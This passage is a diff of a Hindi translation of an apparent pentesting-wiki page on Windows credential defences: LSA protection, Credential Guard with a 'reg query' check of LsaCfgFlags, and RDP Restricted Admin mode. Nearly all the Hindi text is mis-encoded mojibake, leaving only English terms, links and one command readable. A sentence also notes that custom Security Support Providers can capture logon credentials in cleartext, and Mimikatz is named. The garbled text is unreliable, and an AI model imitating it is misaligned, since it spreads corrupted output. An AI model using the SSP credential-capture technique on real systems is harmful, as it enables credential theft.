рдЬрд╛рдПрдЧрд╛ред + +- рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/) + ## Credential Guard -**Credential Guard**, рдЬреЛ **Windows 10 (Enterprise рдФрд░ Education рд╕рдВрд╕реНрдХрд░рдгреЛрдВ)** рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд╣реИ, рдорд╢реАрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ **Virtual Secure Mode (VSM)** рдФрд░ **Virtualization Based Security (VBS)** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдврд╝рд╛рддрд╛ рд╣реИред рдпрд╣ CPU рд╡рд░реНрдЪреБрдЕрд▓рд╛рдЗрдЬреЗрд╢рди рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдореЗрдореЛрд░реА рд╕реНрдкреЗрд╕ рдореЗрдВ рдЕрд▓рдЧ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдореБрдЦреНрдп рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреА рдкрд╣реБрдВрдЪ рд╕реЗ рджреВрд░ рд╣реИред рдпрд╣ рдЕрд▓рдЧрд╛рд╡ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдХрд░реНрдиреЗрд▓ рднреА VSM рдореЗрдВ рдореЗрдореЛрд░реА рддрдХ рдкрд╣реБрдВрдЪ рдирд╣реАрдВ рд╕рдХрддрд╛, рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ **pass-the-hash** рдЬреИрд╕реЗ рд╣рдорд▓реЛрдВ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд░рдЦрддрд╛ рд╣реИред **Local Security Authority (LSA)** рдЗрд╕ рд╕реБрд░рдХреНрд╖рд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдПрдХ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдореБрдЦреНрдп OS рдореЗрдВ **LSASS** рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗрд╡рд▓ VSM рдХреЗ LSA рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдиреЗ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИред +**Credential Guard**, рдЬреЛ рдХрд┐ **Windows 10 (Enterprise рдФрд░ Education рд╕рдВрд╕реНрдХрд░рдг)** рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд╣реИ, рдорд╢реАрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ **Virtual Secure Mode (VSM)** рдФрд░ **Virtualization Based Security (VBS)** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдврд╝рд╛рддрд╛ рд╣реИред рдпрд╣ CPU рд╡рд░реНрдЪреБрдЕрд▓рд╛рдЗрдЬреЗрд╢рди рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдореБрдЦреНрдп рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреА рдкрд╣реБрдВрдЪ рд╕реЗ рджреВрд░ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдореЗрдореЛрд░реА рд╕реНрдерд╛рди рдореЗрдВ рдкреНрд░рдореБрдЦ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЕрд▓рдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрд╣ рдЕрд▓рдЧрд╛рд╡ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдХрд░реНрдиреЗрд▓ рднреА VSM рдореЗрдВ рдореЗрдореЛрд░реА рддрдХ рдкрд╣реБрдВрдЪ рдирд╣реАрдВ рд╕рдХрддрд╛, рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ **pass-the-hash** рдЬреИрд╕реЗ рд╣рдорд▓реЛрдВ рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИред **Local Security Authority (LSA)** рдЗрд╕ рд╕реБрд░рдХреНрд╖рд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдПрдХ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдореБрдЦреНрдп OS рдореЗрдВ **LSASS** рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗрд╡рд▓ VSM рдХреЗ LSA рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдиреЗ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИред -рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, **Credential Guard** рд╕рдХреНрд░рд┐рдп рдирд╣реАрдВ рд╣реИ рдФрд░ рдЗрд╕реЗ рдПрдХ рд╕рдВрдЧрдарди рдХреЗ рднреАрддрд░ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдпрд╣ **Mimikatz** рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ, рдЬреЛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рдЕрдкрдиреА рдХреНрд╖рдорддрд╛ рдореЗрдВ рдмрд╛рдзрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдХрд╕реНрдЯрдо **Security Support Providers (SSP)** рдХреЛ рдЬреЛрдбрд╝рдХрд░ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд▓реЙрдЧрд┐рди рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рджреМрд░рд╛рди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рдХреИрдкреНрдЪрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред +рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, **Credential Guard** рд╕рдХреНрд░рд┐рдп рдирд╣реАрдВ рд╣реИ рдФрд░ рдЗрд╕реЗ рдПрдХ рд╕рдВрдЧрдарди рдХреЗ рднреАрддрд░ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдпрд╣ **Mimikatz** рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ, рдЬреЛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рдЕрдкрдиреА рдХреНрд╖рдорддрд╛ рдореЗрдВ рдмрд╛рдзрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдХрд╕реНрдЯрдо **Security Support Providers (SSP)** рдХреЛ рдЬреЛрдбрд╝рдХрд░ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд▓реЙрдЧрд┐рди рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рджреМрд░рд╛рди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рдХреИрдкреНрдЪрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред -**Credential Guard** рдХреА рд╕рдХреНрд░рд┐рдпрдг рд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, _**HKLM\System\CurrentControlSet\Control\LSA**_ рдХреЗ рддрд╣рдд рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА _**LsaCfgFlags**_ рдХреА рдЬрд╛рдВрдЪ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред "**1**" рдХрд╛ рдорд╛рди **UEFI рд▓реЙрдХ** рдХреЗ рд╕рд╛рде рд╕рдХреНрд░рд┐рдпрдг рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ, "**2**" рдмрд┐рдирд╛ рд▓реЙрдХ рдХреЗ, рдФрд░ "**0**" рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реИред рдпрд╣ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдЬрд╛рдВрдЪ, рдЬрдмрдХрд┐ рдПрдХ рдордЬрдмреВрдд рд╕рдВрдХреЗрддрдХ рд╣реИ, Credential Guard рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХрдорд╛рддреНрд░ рдХрджрдо рдирд╣реАрдВ рд╣реИред рдЗрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╕реНрддреГрдд рдорд╛рд░реНрдЧрджрд░реНрд╢рди рдФрд░ рдПрдХ PowerShell рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдСрдирд▓рд╛рдЗрди рдЙрдкрд▓рдмреНрдз рд╣реИред -```powershell +**Credential Guard** рдХреА рд╕рдХреНрд░рд┐рдпрдг рд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, _**LsaCfgFlags**_ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА _**HKLM\System\CurrentControlSet\Control\LSA**_ рдХреЗ рддрд╣рдд рдЬрд╛рдВрдЪреА рдЬрд╛ рд╕рдХрддреА рд╣реИред "**1**" рдХрд╛ рдорд╛рди **UEFI рд▓реЙрдХ** рдХреЗ рд╕рд╛рде рд╕рдХреНрд░рд┐рдпрдг рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ, "**2**" рдмрд┐рдирд╛ рд▓реЙрдХ рдХреЗ, рдФрд░ "**0**" рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реИред рдпрд╣ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдЬрд╛рдВрдЪ, рдЬрдмрдХрд┐ рдПрдХ рдордЬрдмреВрдд рд╕рдВрдХреЗрддрдХ рд╣реИ, Credential Guard рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХрдорд╛рддреНрд░ рдХрджрдо рдирд╣реАрдВ рд╣реИред рдЗрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╕реНрддреГрдд рдорд╛рд░реНрдЧрджрд░реНрд╢рди рдФрд░ рдПрдХ PowerShell рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдСрдирд▓рд╛рдЗрди рдЙрдкрд▓рдмреНрдз рд╣реИред +```bash reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags ``` -**рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдЧрд╛рд░реНрдб** рдХреЛ Windows 10 рдореЗрдВ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдФрд░ **Windows 11 Enterprise рдФрд░ Education (рд╕рдВрд╕реНрдХрд░рдг 22H2)** рдХреЗ рд╕рдВрдЧрдд рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдЗрд╕рдХреЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╕рдХреНрд░рд┐рдпрдг рдХреЗ рд▓рд┐рдП рд╡реНрдпрд╛рдкрдХ рд╕рдордЭ рдФрд░ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП, [Microsoft рдХреЗ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage) рдкрд░ рдЬрд╛рдПрдВред +Windows 10 рдореЗрдВ **Credential Guard** рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдФрд░ **Windows 11 Enterprise рдФрд░ Education (рд╕рдВрд╕реНрдХрд░рдг 22H2)** рдХреЗ рд╕рдВрдЧрдд рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдЗрд╕рдХреЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╕рдХреНрд░рд┐рдпрдг рдХреЗ рд▓рд┐рдП рд╡реНрдпрд╛рдкрдХ рд╕рдордЭ рдФрд░ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП [Microsoft's documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage) рдкрд░ рдЬрд╛рдПрдВред -рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреИрдкреНрдЪрд░ рдХреЗ рд▓рд┐рдП рдХрд╕реНрдЯрдо SSPs рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рд╡рд┐рд╡рд░рдг [рдЗрд╕ рдЧрд╛рдЗрдб](../active-directory-methodology/custom-ssp.md) рдореЗрдВ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рд╣реИрдВред +рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреИрдкреНрдЪрд░ рдХреЗ рд▓рд┐рдП рдХрд╕реНрдЯрдо SSPs рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдкрд░ рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг [рдЗрд╕ рдЧрд╛рдЗрдб](../active-directory-methodology/custom-ssp.md) рдореЗрдВ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рд╣реИрдВред -## RDP RestrictedAdmin рдореЛрдб +## RDP RestrictedAdmin Mode -**Windows 8.1 рдФрд░ Windows Server 2012 R2** рдиреЗ рдХрдИ рдирдП рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрд╡рд┐рдзрд╛рдПрдБ рдкреЗрд╢ рдХреА рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ _**RDP рдХреЗ рд▓рд┐рдП Restricted Admin рдореЛрдб**_ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рдореЛрдб рдХреЛ [**рдкрд╛рд╕ рдж рд╣реИрд╢**](https://blog.ahasayen.com/pass-the-hash/) рд╣рдорд▓реЛрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЬреЛрдЦрд┐рдореЛрдВ рдХреЛ рдХрдо рдХрд░рдХреЗ рд╕реБрд░рдХреНрд╖рд╛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред +**Windows 8.1 рдФрд░ Windows Server 2012 R2** рдиреЗ рдХрдИ рдирдП рд╕реБрд░рдХреНрд╖рд╛ рдлреАрдЪрд░реНрд╕ рдкреЗрд╢ рдХрд┐рдП, рдЬрд┐рдирдореЗрдВ _**RDP рдХреЗ рд▓рд┐рдП Restricted Admin mode**_ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рдореЛрдб рдХреЛ [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) рд╣рдорд▓реЛрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЬреЛрдЦрд┐рдореЛрдВ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реБрд░рдХреНрд╖рд╛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред -рдкрд░рдВрдкрд░рд╛рдЧрдд рд░реВрдк рд╕реЗ, рдЬрдм RDP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рджреВрд░рд╕реНрде рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд▓рдХреНрд╖реНрдп рдорд╢реАрди рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВред рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрдЪреНрдЪ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдЦрд╛рддреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, _**Restricted Admin рдореЛрдб**_ рдХреЗ рдкрд░рд┐рдЪрдп рдХреЗ рд╕рд╛рде, рдпрд╣ рдЬреЛрдЦрд┐рдо рдХрд╛рдлреА рд╣рдж рддрдХ рдХрдо рд╣реЛ рдЧрдпрд╛ рд╣реИред +рдкрд░рдВрдкрд░рд╛рдЧрдд рд░реВрдк рд╕реЗ, рдЬрдм рдЖрдк RDP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рджреВрд░рд╕реНрде рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд▓рдХреНрд╖реНрдп рдорд╢реАрди рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВред рдпрд╣ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЬрдм рдЙрдЪреНрдЪ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдЦрд╛рддреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, _**Restricted Admin mode**_ рдХреЗ рдкрд░рд┐рдЪрдп рдХреЗ рд╕рд╛рде, рдпрд╣ рдЬреЛрдЦрд┐рдо рдХрд╛рдлреА рд╣рдж рддрдХ рдХрдо рд╣реЛ рдЧрдпрд╛ рд╣реИред -рдЬрдм рдЖрдк **mstsc.exe /RestrictedAdmin** рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ RDP рдХрдиреЗрдХреНрд╢рди рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рджреВрд░рд╕реНрде рдХрдВрдкреНрдпреВрдЯрд░ рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЖрдкрдХреА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдЙрд╕ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдП рдмрд┐рдирд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐, рдпрджрд┐ рдХрд┐рд╕реА рдореИрд▓рд╡реЗрдпрд░ рд╕рдВрдХреНрд░рдордг рдпрд╛ рдпрджрд┐ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреВрд░рд╕реНрде рд╕рд░реНрд╡рд░ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╕реЗ рд╕рдордЭреМрддрд╛ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рд╕рд░реНрд╡рд░ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдирд╣реАрдВ рд╣реИрдВред +**mstsc.exe /RestrictedAdmin** рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ RDP рдХрдиреЗрдХреНрд╢рди рд╢реБрд░реВ рдХрд░рддреЗ рд╕рдордп, рджреВрд░рд╕реНрде рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдЖрдкрдХреА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдП рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐, рдпрджрд┐ рдХрд┐рд╕реА рдореИрд▓рд╡реЗрдпрд░ рд╕рдВрдХреНрд░рдордг рдпрд╛ рдпрджрд┐ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреВрд░рд╕реНрде рд╕рд░реНрд╡рд░ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╕реЗ рд╕рдордЭреМрддрд╛ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рд╕рд░реНрд╡рд░ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдирд╣реАрдВ рд╣реИрдВред -рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ **Restricted Admin рдореЛрдб** рдореЗрдВ, RDP рд╕рддреНрд░ рд╕реЗ рдиреЗрдЯрд╡рд░реНрдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕ рдЖрдкрдХреА рд╡реНрдпрдХреНрддрд┐рдЧрдд рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗ; рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, **рдорд╢реАрди рдХреА рдкрд╣рдЪрд╛рди** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ **Restricted Admin mode** рдореЗрдВ, RDP рд╕рддреНрд░ рд╕реЗ рдиреЗрдЯрд╡рд░реНрдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕ рдЖрдкрдХреА рд╡реНрдпрдХреНрддрд┐рдЧрдд рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗ; рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, **рдорд╢реАрди рдХреА рдкрд╣рдЪрд╛рди** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -рдпрд╣ рд╕реБрд╡рд┐рдзрд╛ рджреВрд░рд╕реНрде рдбреЗрд╕реНрдХрдЯреЙрдк рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдЙрд▓реНрд▓рдВрдШрди рдХреА рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдЙрдЬрд╛рдЧрд░ рд╣реЛрдиреЗ рд╕реЗ рдмрдЪрд╛рдиреЗ рдореЗрдВ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХрджрдо рд╣реИред +рдпрд╣ рдлреАрдЪрд░ рджреВрд░рд╕реНрде рдбреЗрд╕реНрдХрдЯреЙрдк рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдЙрд▓реНрд▓рдВрдШрди рдХреА рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдЙрдЬрд╛рдЧрд░ рд╣реЛрдиреЗ рд╕реЗ рдмрдЪрд╛рдиреЗ рдореЗрдВ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХрджрдо рд╣реИред ![](../../images/RAM.png) рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд 